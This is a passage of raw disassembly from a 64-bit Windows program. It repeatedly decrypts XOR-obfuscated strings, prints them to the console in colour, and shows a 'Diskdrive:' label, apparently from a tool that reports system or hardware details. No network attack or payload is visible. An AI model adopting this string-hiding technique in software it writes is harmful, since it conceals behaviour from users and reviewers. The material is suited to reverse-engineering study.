mov rcx, qword [rbp + 0x200]
lea rdi, [rbx + rcx]
add rbx, rcx
jmp 0x14078c4d3
lea rdi, [rax + rbx]
lea rax, [rbp + 0x200]
add rbx, rax
lea rcx, [rbp + 0x200]
mov r14, rdi
mov r8b, 0x7d
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078c506
inc rax
cmp rax, rbx
je 0x14078c506
movzx edx, byte [rax]
cmp dl, 0x7d
je 0x14078c4fe
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078c4f1
lea rax, [rbp + 0x200]
mov rdx, rcx
mov rbx, qword [rbp + 0x210]
cmp qword [rbp + 0x218], 0xf
jbe 0x14078c52d
mov r8, qword [rbp + 0x200]
sub rdx, r8
jmp 0x14078c53a
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x200]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [r8 + rdx]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x210], rbx
movsd xmm0, qword [str.:ySAPBWE_p]
movsd qword [rbp + 0x68], xmm0
mov eax, dword [0x140827808]
mov dword [rbp + 0x70], eax
movzx eax, word [0x14082780c]
mov word [rbp + 0x74], ax
cmp byte [0x14082780d], 0
je 0x14078c6ee
mov ecx, esi
cmp r13d, 2
jl 0x14078c6aa
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.:ySAPBWE_p]
xorps xmm2, xmm0
movd dword [rbp + 0x68], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x68]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x14078c6c0
lea rdx, [rbp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
mov rcx, rax
call fcn.14079a730
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.:_qYECC_K]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140827148]
mov dword [rbp + 0xe0], eax
cmp byte [0x14082714b], 0
je 0x14078c8ee
mov ecx, esi
cmp r13d, 2
jl 0x14078c8aa
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14078c7a0
cmp ecx, 0x14
jge 0x14078c8ee
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x14078c8c0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x170]
call fcn.140789be0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0xc
jb 0x14078c9cc
lea rax, [r8 + 0xc]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x14078c955
mov rdi, qword [rbx]
lea rax, [0x1408263d4]
cmp rax, rdi
jbe 0x14078c983
lea rax, [rdi + r8]
lea rcx, str._nDiskdrive:
cmp rcx, rax
ja 0x14078c983
cmp rdi, rcx
ja 0x14078c97b
mov r14, rsi
jmp 0x14078c989
mov r14, rdi
sub r14, rcx
jmp 0x14078c989
mov r14d, ntohl
lea rcx, [rdi + 0xc]
inc r8
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str._nDiskdrive:
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + r14]
mov r8d, ntohl
sub r8, r14
lea rdx, str._nDiskdrive:
add rdx, 0xc
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14078c9f6
mov qword [rsp + 0x28], send
lea rax, str._nDiskdrive:
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xc]
mov rcx, rbx
call fcn.14079ad60
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xe0]
mov rcx, r15
call fcn.14079a730
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14078ca9a
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14078ca95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140794e55
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x14078caf4
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14078caef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140794e5c
call fcn.14080fdd0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.:_V_BYES]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140827438]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x14082743c]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x14082743e]
mov byte [rbp + 0xe6], al
mov ecx, esi
cmp r13d, 2
jl 0x14078ccaa
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14078cba0
cmp ecx, 0x17
jge 0x14078ccee
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x14078ccc0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call fcn.140780100
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.:bB_S]
movups xmmword [rbp + 0xd0], xmm0
movzx eax, byte [0x140826d28]
mov byte [rbp + 0xe0], al
mov ecx, esi
cmp r13d, 2
jl 0x14078ce9a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14078cd90
cmp ecx, 0x11
jge 0x14078cede
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x14078ceb0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov edx, reloc.WS2_32.dll_ntohl
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.k_a_vn]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408268f0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826900]
movups xmmword [rbp + 0xf0], xmm0
mov eax, dword [0x140826910]
mov dword [rbp + 0x100], eax
mov ecx, esi
cmp r13d, 2
jl 0x14078d08a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x14078cf80
cmp ecx, 0x34
jge 0x14078d0ce
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x34
jl 0x14078d0a0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
movups xmm0, xmmword [0x1408270c0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408270d0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408270e0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [str.25_0_F__u]
movups xmmword [rbp + 0x100], xmm1
cmp r13d, 2
jl 0x14078d267
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x14078d160
jmp 0x14078d2b3
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x14078d280
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
movups xmm0, xmmword [0x140826b90]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826ba0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826bb0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [str._51_2_H_]
movups xmmword [rbp + 0x100], xmm1
movsd xmm0, qword [0x140826bd0]
movsd qword [rbp + 0x110], xmm0
movzx eax, word [0x140826bd8]
mov word [rbp + 0x118], ax
movzx eax, byte [0x140826bda]
mov byte [rbp + 0x11a], al
mov ecx, esi
cmp r13d, 2
jl 0x14078d47a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x48
jl 0x14078d370
cmp ecx, 0x4b
jge 0x14078d4be
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x4b
jl 0x14078d490
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
movups xmm0, xmmword [0x1408271e0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408271f0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140827200]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140827210]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140827220]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140827230]
movups xmmword [rbp + 0x120], xmm1
mov eax, dword [0x140827240]
mov dword [rbp + 0x130], eax
movzx eax, word [0x140827244]
mov word [rbp + 0x134], ax
mov ecx, esi
cmp r13d, 2
jl 0x14078d68b
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x14078d581
cmp ecx, 0x66
jge 0x14078d6ce
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x66
jl 0x14078d6a0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
movups xmm0, xmmword [0x1408273b0]
movups xmmword [rbp + 0xd0], xmm0
